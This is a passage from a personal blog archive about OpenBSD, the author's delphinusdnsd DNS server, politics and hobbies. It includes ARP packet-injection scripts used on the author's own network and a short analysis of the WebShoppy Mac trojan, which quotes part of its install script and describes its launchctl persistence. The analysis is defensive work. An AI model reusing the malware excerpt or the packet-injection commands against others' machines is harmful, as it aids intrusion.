noone the people and their visions are the stewards of the land, and a slight
discrepancy in numbers (4%!) doesn't affect the main core! What's happening
now is disgusting, greed, opportunism, xenophobia, and racism are the signs
coming out of Europe.
We should be above all those things, our waters are
clean to drink giving us health. The land is fruitful giving us food to eat.
What can't we share that to people who have lost it all? And mind you the
uprisings in the fringe nations of the EU are an indirect cause of our
unity. We should feel compelled to help them not close them out.
Profit for the poor!
September 27th, 2015
I have saved a lump some of money over several years. It's more than a little
and too little to gain any attention. However I want to invest it into a
business of Internet
nature. I would do work just before and during this endeavour to make it
work. The big problem that I see is that I don't have enough capital to
start to make it, and I want to do it on my own. I realise that "The Internet"
the medium that promised freedoms to us is only a place where the rich can
make a profit. And that's what's wrong with it. It is _the_ motor that
makes the rich richer and the poor poorer because poor are just supposed to
give money to the rich on the Internet and no opportunity for small business
is granted. Correct me if I'm wrong.
Wrote a donation to OpenBSD
September 30th, 2015
Yes it's donation time again. I have written the transaction and will be
bringing it to the bank friday the 9th of october or thereabouts. It's
only 50 euros so nothing much to get excited about. But every tidbit helps.
This brings the total donations this year to 200 euros, I think.
Pre-ordered Tears of Luv Album
October 1st, 2015
The artist: Anthony B The album: Tears of Luv The release date: October 16th
Happy Birthday M.
October 2nd, 2015
I know you probably won't read this but here is a try anyhow. May the walks
of life guide you back to us.
For God's sake! Stoererhaftung is in the Way!
October 3rd, 2015
In Germany there is a law preventing people from opening their access point to
anyone in the public. It's called the Stoererhaftung (in german) which
translates to the two words "Stoer" which means disrupt and "haftung" which
means accountability.
We have a situation now that is of national significance. We have a lot of
refugees that are flooding first contact centers. The refugees are in dire
need of Internet to keep touch with their families. After food, clothing,
shelter and security Internet is the next needed thing for them.
The german government has denied Internet access to refugees for a period up
to two years, which is the word from someone I got to know through a mailing
list. She works with the refugees. People and groups are helping providing
Internet by using the Freifunk infrastructure which bypasses the legal
situation with the Stoererhaftung. It's not ideal because the resources of
Freifunk groups is limited.
While Freifunk is happy now that we're seeing real user numbers on our stats,
I worry about the long term effects half a year down the line. We need to
offload. And the only correct way is to offload the Stoererhaftung. We
fought the government on this before, and to put it bluntly the government
is the reason that we're dumped on with refugees looking for Internet.
Getting rid of the Stoererhaftung would allow us to make operations cheaper as
traffic would come from inside Germany, it would make everything sustainable.
This is a classic case where a law designed by government is causing people in
need to suffer.
I expect from the german government to immediately do everything in their
powers to help the humanitarian crisis that our refugees are facing. Look no
further but the Stoererhaftung it's a law that is disruptive in all respects.
Happy Birthday R.
October 3rd, 2015
And everyone who is born on this day, happy birthday!
Autumn Programmer
October 7th, 2015
I took this picture yesterday I thought I'd share it.
Today the leaves on the maple are even more brilliant and red. It's a nice
sight. Soon they'll fall I'm sure.
OpenBSD 5.8 poster arrived
October 7th, 2015
This means the CD is on its way as well. I now have posters of a lot of
researchers when you look at the OpenBSD poster and the poster beside it
of the over-wintering expedition of Concordia station in Antarctica.
Yes my office is colourful, if you look close you'll see some fud on the
planets poster above the monitor but I don't think you can see that in detail.
Status update on Delphinusdnsd
October 10th, 2015
This morning I finished 4 needed DNSSEC RR's for ANY replies. Since the code
for ANY and AXFR is in parts the same this finished AXFR's as well. I'm now
about a month away from release and I don't think I'll make it. I have a
one week vacation before the month changes to november and I need to write
the frontend ruby code to dns sign the delphinusdnsd zones. If I get
finished it will be untested for release and if I test it it may take until
new years to release. I'll keep hacking on it (I have monday off), and I'm
refreshing myself with ruby right now on this weekend (got the ruby book beside
me).
Yesterday OpenBSD 5.8 arrived
October 11th, 2015
I got the 3 magic discs of freedom! Thanks to all involved!
Upgraded supercluster
October 17th, 2015
Along with every other host on my network I have upgraded supercluster.
If you see any breakage let me know. I'll fix it.
Luna-27
October 19th, 2015
I'm thrilled that Europe wants to put personell on the moon.
Oct 21, 2015 Cars that fly?
October 20th, 2015
Tomorrow is back to the future day. On this day in part 2 of the trilogy
Marty McFly travels to Oct 21, 2015, in essence tomorrow. Cars that fly?
More like cars that lie, if you look at the VW emissions scandal. We did
not get the hologram projectors nor the hoverboards. But we had something
in common, cars still exist in 2015.
Thanks to Chris who gave me a ride in his deLorean one day when I was in grade
10 or 11. That really rocked! Did we timetravel?
MPS open sourced
October 22th, 2015
Almost two years after I wrote this with help of Rienzilla I'm releasing it
to the public. The sources are found
here enjoy.
Open Sourced CodeBlue version 1
October 24th, 2015
After 14 years of having this program (mostly) for myself, I think it's worth
it to Open Source it. Successes of Code Blue are
proving a bug in someones program
proving a bug in the OpenBSD kernel which caused a crash after a CBv1 typo
proving that ARP packets get lost on AVM routers (recently)
There was many other cases that I used codeblue for good. It's not an evil
program. Sources are here
. Codeblue was based on gppf in idea but not in code.
AVM FritzBox Router losing ARP packets
October 26th, 2015
After a 2 month long debug session with my gear I finally produced a workaround
with codeblue to _fix_ the situation.
The problem: between my routers gamma and uranus (both OpenBSD) arp
gets lost either on the FritzBox or a FritzRepeater from the same manufacturer
(AVM).
The solution check if a threshold of arp cache timeout has been reached
and populate the arpcache manually with an injected arp packet.
Here is the scripts I've written. On uranus:
#!/bin/sh
# this script checks if ARP was lost between gamma and uranus via AVM AP
# if so it will mail me and send a gratuitious arp to restore the arp cache
# on gamma it will do it twice to escape stupid filtering on AVM fritzbox.
sleep 10
CACHE=`ssh watcharp@192.168.179.1 /usr/sbin/arp -na |\
awk '/192.168.179.10/ { a = split($4, b, "m"); print b[1];}'`
if [ $CACHE -lt 15 ]; then
echo "cache is at $CACHE going to set arp manually" | \
mail -s "arp timeout" emailat@centroid.eu
/usr/local/bin/cb -a is-at -s192.168.179.10 -d192.168.179.1
sleep 20
/usr/local/bin/cb -a is-at -s192.168.179.10 -d192.168.179.1
fi
exit 0
And then on gamma:
#!/bin/sh
/usr/local/bin/cb -l re1 -a who-has -s00:0d:b9:XX:XX:XX,192.168.179.1 \
-dff:ff:ff:ff:ff:ff,192.168.179.10
With these scripts I am willing to bet my problems go away.
Outlook Delphinusdnsd 1.0.0 not before XMAS
October 27th, 2015
I'm getting stalled with development of delphinusdnsd and distracted. I should
have been coding on this yesterday to make use of my full vacation for this but
I decided to soak up lazyness instead. It's ok though, there is no way I can
do this in two weeks, if I do then there would be little testing if any.
pledge(2) Don't do this!
October 31st, 2015
pledge(2) in OpenBSD is a whitelist of system calls that a programmer pledges
/ promises his program will conform to. If they lie the kernel will kill the
program. If you look at this from an attacker perspective you'll have to
restrict bytecode or whatever your edge is to the pledged spectrum of syscalls.
I'll give you another example. If you have an anti-virus mechanism that scans
emails or programs it may not need to talk Internet protocols and thus if
someone manages to buffer overflow the scan process and have it open a socket
back to the attacker aka a bindshell, pledge will stop the socket call before
the kernel opens it. It's ingenious and it gets better. As you know your
program you can pledge several times to restrict more and more of it over
the course of the program flow.
In private conversation I offered Theo de Raadt, the principal programmer around
pledge, an awk program that rudamentally scans C sources to determine a base
pledge in a program. What I got back was a response I didn't expect. So I'm
giving out a warning to people to NOT DO AS I had done. I still think I'm not
going to be the only one who writes such a program since my gift to deraadt
was not done publically.
You see in computer science you study the code, then you UNDERSTAND the code
and then you can add to it. What I did was pseudo-science, since I didn't
need to understand the code. Understanding is a big problem with code in
general as everyone has their own style within the allowed programming idioms
of C. Not understanding code means you can't contribute to it. I personally
did not understand BIND code so I decided to write my own nameserver, the
result was something I understood because I wrote it without wasting my time
going into libraries that criss-crossed all over the source tree. However
my code grew past 10,000 lines and it's easy to lose track of some areas.
My memory is not the best I think it's short span so I try to work with tools
that easen this. However let's get back to science. As shown by the
commits of top the programmers who pledged it not only screwed up once but
twice and failed to understand top. So now we're accusing each other of
pseudo-science and not understanding the code right. Let's put that away,
as it's counter-productive. However I'd like to warn people of suggesting to
OpenBSD what I had done. So know your code, apply pledge and stay safe.
For me pledge doesn't work as shm*(4) routines don't have a pledge keyword,
so I'll have to wait. Anyone else wanting to pledge a program linked against
db4 will have to do the same.
And lastly I'll say I was a bit hurt by deraadt's words, but I'm not gonna
repeat them in public. I'll still stay loyal to OpenBSD despite this.
Donated to OpenBSDFoundation
November 4th, 2015
I have given the OpenBSD foundation 41.81 EUR which was in my paypal account.
I usually donate directly to deraadt but I wanted to rid the money I had in
my paypal account so it goes to the foundation this time.
swshell.de is DNSSEC enabled now
November 8th, 2015
Since yesterday swshell.de is DNSSEC enabled. I finished the zone signing
utility for delphinusdnsd which is called dd-convert.rb. That utility leans
on BIND tools. One day perhaps I'll make my own. I have checked with the
DNSSEC debugger
and everything seems to be in the green, but I have to figure out what I did
first to do so and play a little with tools. Also delphinusdnsd would need
a good debugging now so that it gives quality answers.
Happy Anniversary Delphinusdnsd!
November 8th, 2015
Even though I checked in the sources on November 29th, 2005 I must have been
writing on Delphinusdnsd before that, so November is anniversary month!
Guess what this daemon of mine is 10 years old! It does DNSSEC now too!
So in my experience it takes a part-timer 10 man-years to reach DNSSEC. And
I had a lot of spare time when I wasn't programming on this server. I have
recieved lots of support mainly out of eastern Europe for this server. I
don't quite know why that is, but thanks to you for using my server, and for
inquiring about it and a big thanks to those that sent patches. Thanks also
goes to #unixhelp for hearing my worries, visions and dreams about this DNS
server. Thanks for putting up with me! The first non-beta version of this
server will likely be released around new years 2016. I'm just doing tests
right now with swshell.de comparing it to BIND and keeping and eye out for
faults. So what is next with this server? I plan on doing DANE support
for it but then I think I'm gonna focus on bug fixing, dunno. There is
always room for some newbie to come along to write on this. An easy task
would be HINFO support. Cheers!
Delphinusdnsd does TLSA RR and thus DANE
November 10th, 2015
I hammered the support out this morning within 1.5 hours, probably a record
for me. But I based it off SSHFP RR's support which has only 1 8 bit integer
less in the answer, so it was fairly easy to convert.
I have asked Luke Antins if I can pay him a bit more for the TLSA support
in his dns-zone ruby gem. If he is willing to do it, I'll be able to play
with DANE as I haven't been able to sign the TLSA yet and thus that part is
not tested yet.
These are interesting days for sure.
Purchased Reggae
November 13th, 2015
Yesterday I purchased the Faithful Riddim of various artists. I liked the
"topic of the day" song by I Octane on youtube which made me get this. Also
got "Trod on" by Devano single. Too bad Devano hasn't got an album on iTunes.
I read this book in grade nine. Also the sequel to it "the guardian of isis". These
have nothing to do with ISIS that we hear about in the news today. These books
were very well written IMO and were good science fiction. Something to dream
about.
10 years Delphinusdnsd in 9 days
November 20th, 2015
It's here in 9 days. The anniversary when I can prove when I checked in the
sources to the then-called wildcarddnsd. 10 years! And my server is like an
arrogant little child still! Nothing like bind which is probably 17 years
old now.
10 Years
November 29th, 2015
Today is the 10 year anniversary of delphinusdnsd. DNS to me has always been
appealing, from vanity domain names on IRC to managing DNS as a hostmaster
(system administrator). I wanted a deep understanding of DNS further than
just being a hostmaster so I decided to keep working on this. At first it
was just a stupid little turnkey program, but I got to like it so much that
I continued to put my efforts into it. I'm doing DNSSEC with it now. That's
a major feature. I plan to release the first major release in january 2016
which drifts off the new years date. Oh well, cheers!
23 days until the December Solstice
November 29th, 2015
It's 23 more days until we enter winter in the northern hemisphere. The
southern hemisphere enters summer such it is properly called the "december"
solstice and not winter solstice. There is probably other names but I'm
going to stick to december solstice. Its date is december 22, 2015.
What happens when...
December 1st, 2015
I tried to make two zones on two DNSSEC enabled nameservers. One being
io.solarscale.de which is delphinusdnsd and the other americas.centroid.eu,
which is BIND. I was interested how the servers would behave with one signed
zone and one unsigned zone. And the result was staggering. There was almost
no difference between the BIND and the delphinusdnsd. Both however reply
with the DO bit set on the unsigned zone, which is possibly wrong. The
signed zone is swshell.de and the unsigned zone is black.solarscale.de. Well
it was worth the experiment and my code was forgiving.
Anonymity
December 3rd, 2015
In this article from heise
online (german), politicians cry out about anonymity. In this case they're
right IMO. However I see the problem different. Right now the "end-user" is
given a dynamic IP address which is to "guarantee" them their anonymity. Yet
the provider knows who they are, and google as well as other large networks
who can correlate big data or logins to match someone. Also an end-user today
must use IMAP or POP3 or webmail to a server on the internet to fetch their
mail. Pretend it were different. Pretend everyone was given a static IP.
Everyone now theoretically knows who this person is. Google would not care
because they already knew anyhow, but you may see its market share go down
because they don't guard a secret anymore. Also people would be able to
get their mail via SMTP instead of IMAP/POP3 meaning mail is not stored on a
3rd party server. This is positive. A person with a static IP can run any
services they like and become a server in this sense. This means that someone
can have friends using their computer too, but if any of those friends betray
the trust and invite a police visit, the friendship may be endangered. Who
has taken the blame for things their friends did? I for one did once. But
that was the last time. If you're a known troll for something your friends
did from your computer it'd be very hard to repair that reputation, but that's
the idea behind fixing this anonymity. So let's all be open and have static
IP's is my idea.
Trying to run letsencrypt beta
December 5th, 2015
Well I tried to get the free https certificate with letsencrypt tonight:
19 ./letsencrypt-auto certonly --manual --email letsencrypt99@centroid.eu \
--agree-tos -d centroid.eu
id.eu --agree-tos -d centroid.eu <
Updating letsencrypt and virtual environment dependencies.......
Running with virtualenv: sudo /home/pjpxx/.local/share/letsencrypt/bin/letsencrypt\
certonly --manual --email letsencrypt99@centroid.eu --agree-tos -d centroid.eu
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
Password:
Ugh no! I will not run this as root. This utility will need a fix for that
before I run this again. Too bad!
Thinking of getting a third Internet Link
December 7th, 2015
I'm thinking of getting this cable Internet thing in the New Year. The german
Telekom is slow in rolling out their VDSL in town so I'm thinking of going
with RegioNet which is the citys own Internet company. Thinking of 50 Mbit/s.
Reggae
December 11th, 2015
I purchased the album "Legacy - an acoustic tribute to Peter Tosh", which is
performed mostly by his son, Andrew, I suspect. Because I don't have many
Wailers songs this will be a good addition to my music collection. Reggae
music is wide-spread in spectrum but this goes to the root. Happy listening.
100 million X speedup from classical computer
December 11th, 2015
Google and NASA recently were in the news regarding their shared Quantum
computer. They said that certain operations
yielded a speedup of 100 million times what a classical computer can do.
To put this into perspective. With 1 billion dollars you could buy 100 of
these D-Wave computers which cost 10 million a pop. And those 100 would then
have a distributed speedup of 10 billion times that of 1 classical computer.
All that it leaves to question is .. what algorithms are capable of being
run at that speed? If it's Shor's algorithm I think we can kiss our crypto
safety goodbye. An SSH or TLS session would then be decipherable as it is
an RSA Hybrid.
What was the "black-budget" of the USA again?
An ejection from Atacama?
December 13th, 2015
In this
article phys.org reports that the country Chile is planning a hydro power
plant in the Atacama desert. While this is applaudable there is European
interests in the region that may conflict with this. Several ESOC telescopes
are situated there and
exploit the fact that the Atacama desert is nearly cloudless. Would water
in that desert create cloud? Only time will tell. We may have to look
for a new place for the southern observatories, or move it all to the moon.
If that's even possible in the near future.
More sky photos coming up
December 15th, 2015
I was talking with my Dad who is getting a new camera. So I'll inherit his
old one. It was the one that I took sky photos of Mars on February 7th, 2010
of (seen here).
it's 6 years later and this camera is probably 2 generations old by now but
I won't use it all the time, only sometimes. I'm especially interested in
getting more of Delphinus constellation with it's stars Rotanev and
Sualocin (both are backwards from
Nicolaus Venator) who apparently had a liking for the constellation Delphinus as well.
Oh well here's to hoping it works out.
Getting ready for delphinusdnsd release
December 19th, 2015
I'm now running some of the latest code in production for the next two weeks
on my nameservers io.solarscale.de and omega.virgostar.net. If I'm satisfied
I will release delphinusdnsd 1.0.0 by January 1st, 2016. It's been a long
year and I was very very brave for attempting DNSSEC. There is room for
improvement but a simple DNSSEC'ed zone can be served by delphinusdnsd.
After that I'm probably gonna take a (small) break from DNS programming.
Happy Solstice
December 21st, 2015
Tomorrow is solstice in the very early morning hours, iirc. So when I wake up
it'll be winter officially. Happy (december/northern) Solstice!
I joined Twitter
December 22nd, 2015
There is a lot of fake accounts out there pretending to be mine. But the
official twitter account from me is now @delphinusdns_pt Peter J. Philipp.
I'll be dropping news on delphinusdnsd here and do personal correspondence
between old and new friends of mine.
Merry Christmas
December 23rd, 2015
I may not get the chance tomorrow to wish you a merry christmas so this is it.
Merry Christmas!
2015 Year in Review
December 29th, 2015
December 23, 2015 Merry Christmas
December 22, 2015 I joined Twitter
December 21, 2015 Happy Solstice
December 19, 2015 Getting ready for delphinusdnsd release
December 15, 2015 More sky photos coming up
December 13, 2015 An ejection from Atacama?
December 11, 2015 100 million X speedup from classical computer
December 7, 2015 Thinking of getting a third Internet Link
December 5, 2015 Trying to run letsencrypt beta
December 3, 2015 Anonymity
December 1, 2015 What happens when...
November 29, 2015 23 days until the December Solstice
November 29, 2015 10 Years
November 20, 2015 10 years Delphinusdnsd in 9 days
November 18, 2015 Keeper of the Isis Light
November 13, 2015 DNSSEC validation tools
November 10, 2015 Delphinusdnsd does TLSA RR and thus DANE
November 8, 2015 Happy Anniversary Delphinusdnsd!
November 8, 2015 swshell.de is DNSSEC enabled now
November 4, 2015 Donated to OpenBSDFoundation
October 31, 2015 pledge(2) Don't do this!
October 27, 2015 Outlook Delphinusdnsd 1.0.0 not before XMAS
October 26, 2015 AVM FritzBox Router losing ARP packets
October 24, 2015 Open Sourced CodeBlue version 1
October 22, 2015 MPS open sourced
October 20, 2015 Oct 21, 2015 Cars that fly?
October 19, 2015 Luna-27
October 17, 2015 Upgraded supercluster
October 11, 2015 Yesterday OpenBSD 5.8 arrived
October 10, 2015 Status update on Delphinusdnsd
October 7, 2015 OpenBSD 5.8 poster arrived
October 7, 2015 Autumn Programmer
October 3, 2015 Happy Birthday R.
October 3, 2015 For God's sake! Stoererhaftung is in the Way!
October 2, 2015 Happy Birthday M.
September 30, 2015 Wrote a donation to OpenBSD
September 27, 2015 Profit for the poor!
September 26, 2015 European Union where is your strength?
September 23, 2015 Happy September Equinox!
September 15, 2015 I'm not hiring
September 10, 2015 Equinox in less than 2 Weeks
September 5, 2015 Delphinusdnsd now answers to version queries
September 5, 2015 The last homely house on Earth
August 31, 2015 Changed DNS setup
August 29, 2015 Cancelling io.solarscale.de, eventually
August 27, 2015 Resisting Refugees is Shameful
August 26, 2015 Omega: a new VPS
August 22, 2015 Changes at work
August 21, 2015 Maxed my Soekris 6501
August 19, 2015 OpenBSD 5.8 Pre-orders are on
August 17, 2015 And still in the Rush
August 16, 2015 Still in a Consumer Rush
August 10, 2015 I started shuffling my $HOME/.ssh directory
August 9, 2015 Spampd and taking the -T out
August 9, 2015 Ordered a Book from Amazon
August 2, 2015 CryptoBooks virtualized
July 28, 2015 Delphinusdnsd status update
July 27, 2015 Opinion: Hacking Team are pigs
July 25, 2015 Two CryptoBooks side by side
July 24, 2015 New Network Plans
July 23, 2015 Macbook Pro and things
July 17, 2015 My CryptoBook
July 15, 2015 Donated $15 to FreeBSD Foundation
July 13, 2015 Purchased Netbook
July 10, 2015 Status update of Delphinusdnsd and DNSSEC
July 10, 2015 Hand-Down and a Story
July 9, 2015 Signatures of Time - Double Play
July 7, 2015 Freifunk was affected by an MTU issue
July 6, 2015 It definatly was hotter than 2003
July 4, 2015 Power outtage this morning
July 3, 2015 I have donated 20 euros to the Greece bailout fund
June 28, 2015 AKW Grafenrheinfeld has shut down over night
June 28, 2015 Status update on Delphinusdnsd and DNSSEC
June 25, 2015 RFC 4034 compliant AFAIK
June 25, 2015 Donated 50 euros to OpenBSD
June 24, 2015 Vacation cut short
June 23, 2015 Art display of my parents creations
June 22, 2015 Delphinusdns Project sponsors Luke Antins
June 22, 2015 Donated 150 euros to the Red Cross
June 21, 2015 Happy Solstice
June 20, 2015 The First Ever DNSSEC answer from Delphinusdnsd
June 18, 2015 Delphinusdnsd Hack days, entering production..
June 13, 2015 I'm on Vacation
June 6, 2015 Purchased two Books
June 5, 2015 Vacation in a week
May 22, 2015 Computers are better Rappers? Perhaps...
May 21, 2015 Advocacy for OpenBSD
May 21, 2015 My udptunnel program is open source now
May 19, 2015 Holidays less than a month away
May 15, 2015 OpenBSD 5.7 arrived
May 15, 2015 Freifunk Tunnel Masters
May 13, 2015 Anexit
May 12, 2015 Donated 25 euros toward Nepal
May 12, 2015 Purchased DJ mixer
May 9, 2015 Where do you get your clothes?
May 8, 2015 Pension, TV and Books
May 2, 2015 OpenBSD CD's delayed, upgraded anyways
April 30, 2015 Httpd died overnight
April 29, 2015 Goodbye Avon!
April 28, 2015 OpenBSD getting hammerfs through GSOC?
April 24, 2015 Happy 25th anniversary Hubble!
April 24, 2015 And the Park seemed inviting
April 22, 2015 Donated 50 euros to OpenBSD
April 22, 2015 Bought two singles
April 22, 2015 Vernal Equinox and Jesus
April 21, 2015 Exploring Xephem
April 20, 2015 Backport of patch for OpenSMTPD 5.4.2p1
April 15, 2015 The contraction of my VPS network
April 15, 2015 Blog Outtage this Morning
April 13, 2015 One year of mercury (computer)
April 11, 2015 Sorry no Linkedin, yet
April 11, 2015 Mac OS X 10.10.3 killed my screensaver!
April 9, 2015 Wildcarddnsd 0.9.1
April 7, 2015 Greece's war reparation demand
April 4, 2015 Happy Easter
April 1, 2015 Astronomers detect a giant star in Constellation Pisces
March 31, 2015 ESA what are your plans?
March 30, 2015 R.I.P. Paul Schenkeveld
March 29, 2015 Please, not another LEO ISS!
March 28, 2015 The catch-22 of mental illness
March 21, 2015 My Eclipse photos were a FAIL
March 14, 2015 Happy Pi day
March 13, 2015 Pre-Ordered OpenBSD 5.7
March 12, 2015 Wrote two members of parliament
March 12, 2015 Equinox in 8 days
March 7, 2015 Crackers are getting more careful
March 5, 2015 Oldlaptop's github repo
March 5, 2015 OpenBSD's httpd with webalizer
March 5, 2015 Softraid Crypto seems secure
February 27, 2015 God Speed Spock!
February 26, 2015 OpenBSD donations reached 397,000 dollars in 2014
February 25, 2015 Got a washing machine
February 24, 2015 Nearing 20 years UNIX experience
February 23, 2015 Ordered three books
February 21, 2015 Scarcity vs. Abundance
February 16, 2015 Moved the blog
February 14, 2015 Upper Lower Class
February 13, 2015 I'm sick
February 6, 2015 Next Week marks Two Years in My Apartment
February 5, 2015 Thinking of voting Die Linke in 2017
February 5, 2015 The last frontier, under the ice
February 3, 2015 Why I think "The Time Machine" doesn't work in reality
February 2, 2015 I want a Greek bailout
January 28, 2015 The rich can't buy smarts, can they?
January 27, 2015 Electricity (day) consumption up (unfortunately)
January 26, 2015 Cryptowars: Organised Crime and Terrorists
January 24, 2015 Administrivia
January 24, 2015 Is it more than Space Junk?
January 19, 2015 This is how fair the world is
January 13, 2015 And our rights diminish
January 11, 2015 I am not your subordinate
January 9, 2015 Ordered 3 books
January 5, 2015 My 150 Euro Calculator
January 5, 2015 Donation time again
December 31, 2014 Happy New Year!
December 29, 2014 Added supercluster to nameservers
December 28, 2014 Winter Flowers
December 24, 2014 Merry Christmas / Frohe Weihnachten!
December 17, 2014 NASA wants to go to Venus
December 16, 2014 My thought about Pegida
December 16, 2014 A domain expired, amdeutschhof.de
December 15, 2014 December solstice in less than a week!
December 12, 2014 Comparison between Mordor and the US
December 9, 2014 Farewell American Forces
December 8, 2014 Speak German at home...
December 6, 2014 When Fighters scramble
Our XMAS Dinner
December 29th, 2015
More power from Arabia and Sahara?
December 31st, 2015
A ghost haunts Europe. It's the power ghost. Once there is no more oil
either available or sanctioned due to the environmental effects, where will
we get our power from? One corporation in Germany
has a plan.
But do we really want to upkeep the power hegemony in Arabia and Sahara just
to get our power? These are political factors which don't convince the
technical ones.
Delphinusdnsd 1.0.0 Released
January 1st, 2016
I have released delphinusdnsd 1.0.0. You can download it here. The SHA256 code to the tarball looks
like this: 8914aa55437081e44895a4cecdfff82b4a3be03fb38dd65d073c71e1be187e41.
I've worked on this release for over a year. Some parts are incomplete still
but I feel I gotta get it out the door. When is a DNS server ever complete
though one may ask? Anyhow, enjoy!
When a book loses significance
January 1st, 2016
It's 2016. The following book has lost its significance.
This is the third edition of DNS and BIND, and it doesn't cover bind9 and it
doesn't cover DNSSEC. However this book guided me for a while when I was
writing on delphinusdnsd prior to writing the DNSSEC code. I can only put this
book back into my bookshelf because it looks good. But that's about it.
I would recommend the authors works to anyone, they are written in an easy
to understand fashion. Just don't get an old book like this one :-).
How hard can changing a password be?
January 1st, 2016
In my network which consists of 1 access point and 2 repeaters to create
a WLAN bridge between 3 routers, I tried to change the Wifi password.
Simple, I thought. I'd start with the repeater furthest away from me and
change its WLAN password, then do the same on the access point and the same
for the repeater closest to me. Was I in for a mental boxing match where I
did not win. The repeaters decided they did not want to accept the access
point because somehow I had WPS set to active, or was that it? Or was it the
"hidden" link to find which station to connect to which had a password of its
own. I still don't know what I did exactly to make these repeaters finally
connect to my AP. On top of that they changed their IP's and I had to re-
configure my router to even connect to them. Talk about making a function
hard, when it should be as simple as changing a light bulb! No kudos go
to AVM with their Fritz line of Access points and Repeaters. They still
owe me one regardless, due to losing ARP packets on their AP. Why did I
ever invest into crap?
The invisible man
January 3rd, 2016
Have you ever wanted to go offline for good? No Internet for the NSA to track
you. No online marketing. No email, and in my case no job. Believe it or
not I went offline for about a year in 2001. I was misinformed when 9/11
happened, having only an FM radio to get my information. But imagine if an
offline life was manageable. Can we do this at all? Make my workstations
PC's again. Meaning it really is a personal computer and not a cloud
extension. I'm interested in organizations who facilitate an offline life.
Would I take the leap?
Donation time
January 6th, 2016
I have donated 100 euros to Theo de Raadt and OpenBSD. He'll have to get me
really angry for me to donate to the foundation and even more angry for me to
not donate, lol.
Organized Crime is the Enemy
January 8th, 2016
When you think of safety, you are naive to think you'll get it anywhere after
the sun goes down. Be smart, don't put yourself in situations where you're
defenseless, avoid hotspots. In Cologne ruthless gangs of organized criminals
roamed the train station on new years eve. The police were helpless, due to
being outnumbered. One may now think of how to bring the individuals to
justice, and face recognition technology comes to mind. Where will it end
us up though? In a totalitarian society where everyones face is recognized
in real time?
One thing to remember is that it was organized crime that
terrorized the few women and men who were rather defenseless. But the herd of
sheep now know the wolf is about, and we need to think of ways to protect
ourselves. For one, strong cryptography in voice and data is needed, and
should not be backdoored. When organized crime does things they do it big and
they want to get at the next victims online banking. Be smart, keep the
crypto strong it is a foundation, a pillar for fighting the evil in society
who group up. We know the wolf exists now and isn't just a fable. We need
the right tools to combat him while keeping our society with it's laws and
freedoms intact and sturdy.
Dissecting WebShoppy Mac OS X trojan
January 9th, 2016
My dad got a virus on his Mac (Snow Leopard OS X I think). Before we
reinstalled it with El Capitan I saved the binary, the install script, and
an lsof output of this trojan called WebShoppy.
First unpack my tarball I made, first impressions are that there is a
._3166.sh file that was copied along with the 3166.sh script when I made
the tarball, possibly a trait of the virus.
alpha$ tar -xvzf ws.tgz
ws
ws/._3166.sh
ws/3166.sh
ws/list.open
ws/WebShoppy
let's take a look at this ._3166.sh file it seems to be binary code so I'm
going to hexdump it.
Next I will show you parts of the 3166.sh script which was placed in the $HOME
of my dad's user.
...
# existing check
brands=(flashmall webshoppers webshoppy smartshoppy)
brandExists=false
for currBrand in "${brands[@]}"; do
if [ `pgrep -i $currBrand | wc -l` -gt 0 ]; then
brandExists=$currBrand
fi
done
...
Here it checks for the following programs already running on this computer.
However it clobbers brandExists if multiple instances of these four programs
exist.
it will then try to add what is a crontab like entry (launchctl). So it
registers itself into the system to always start up every boot.
plist_user is $HOME/Library/LaunchAgents/com.WebShoppy.agent.plist in the
scripts case.
On to the binary, What I found interesting was the content was encrypted, but
strings on mac os x doesn't list all printable symbols, so on OpenBSD I was
able to see who compiled this binary from environment variables packed into the
binary. Chances are it's someone who had their computer hijacked.
It doesn't seem to be doing too much. Perhaps it does things on a timer basis.
If anyone has hints on how I could have done the analysis or post-analysis any
better let me know.
To Human Artificial Systems
January 19th, 2016
Money markets are mainly artificial. They exist only in our minds, with
consequences on the body when there is a lack of resources. Let me say this.
Would the stock market collapse when a star in the center of the galaxy
collides with a black hole? No. Why not??? We have a brilliant way to look
beyond the earth's (who we think we've conquered) hemisphere to the stars.
Just because we are shielded does not exclude us from events happening in our
cosmic neighbourhood. We need to include some reality with our artificial
systems. Don't get me started on the price of oil either.
Preparing to sign my zones -> DNSSEC
January 20th, 2016
I still haven't signed the rest of my zones. I will do that in the next
coming days and see if it works. I hope so. Delphinusdnsd is capable I think.
Noone is downloading it yet though, dunno why.
What's up or down with the Canadian Dollar?
January 21st, 2016
About three months ago I was exchanging my canadian pay and I was getting
what was reasonable money back. Today I'd be getting 144 Euros less. That
doesn't seem reasonable. I am still patient but patience is running thin,
I may have to re-negotiate my work contract to be paid in a more stable
currency.
Delphinusdnsd - ironing out the DNSSEC bugs
January 22nd, 2016
I have started signing my personal zones. I'm the only one using them with
my family so I can do this. I ran into some trouble yesterday and today
with DNSSEC replies. Also reply_mx() in delphinusdnsd didn't like DNSSEC.
I have stripped out the offending code but I'm gonna have to revisit it.
For anyone who is trying to run this wait for the 1.0.1 release which will
come out soon or use tonights snapshot from -current (midnight CEST) to get
the MX and NSEC3 fix. Sorry if anyone was bit by this, but I only had 1
DNSSEC test zone, and several zones are now unearthing bugs. I have my
weekend planned for writing on this.
All Domain Names signed
January 23rd, 2016
This morning I did the last one of all my domains. Now I sit back and
wait for problems to arise. I already did all the online validators and
they are saying everything is correct. My email still works, which is
the main thing.
Delphinusdnsd 1.0.1 released
January 29th, 2016
Bugfixes from the STABLE_1_0 branch have made the 1.0.1 release. I plan on
doing up to 8 more (to 1.0.9) depending on need, otherwise new code will go
into the -current branch and ultimately into the 1.1.0 release.
Electricity for 2015 way up
February 3rd, 2016
I guess I must have had too many days where I had it too warm in my apartment.
So here is the table for comparison with the previous two years. It feels
a bit fishy but I'll take their word for it.
Year
Night
Day
Total
2013
6941
1276
8217
2014
6906
1323
8229
2015
10151
1452
11603
This is in comparison with an
earlier
article from last year. I'm not gonna fight this outrageous bill but I'm
gonna try to keep a cooler apartment for 2016 since it's mainly the heaters
that made this jump.
Ten days from now is Year Three
February 3rd, 2016
It's been 3 years since I had this apartment. A
look back.
Unfortuantely the electricity bill for 2015 was high, and I had to pay for a
new Fridge. All in all these are 1000 euros of expenses that I didn't
foreplan. But I have the best apartment I ever had and I still have the job
I had when I moved here.
Delphinusdnsd what's next in development?
February 8th, 2016
I want to revisit the signing tool, and possibly do it in C. That or I'm
thinking of incorporating DNSSEC signing right into the daemon. That would
be a great feat, but hard to do I suspect. I'll have to carefully weigh my
options.
DSL Link issues, Provider refuses to help me...
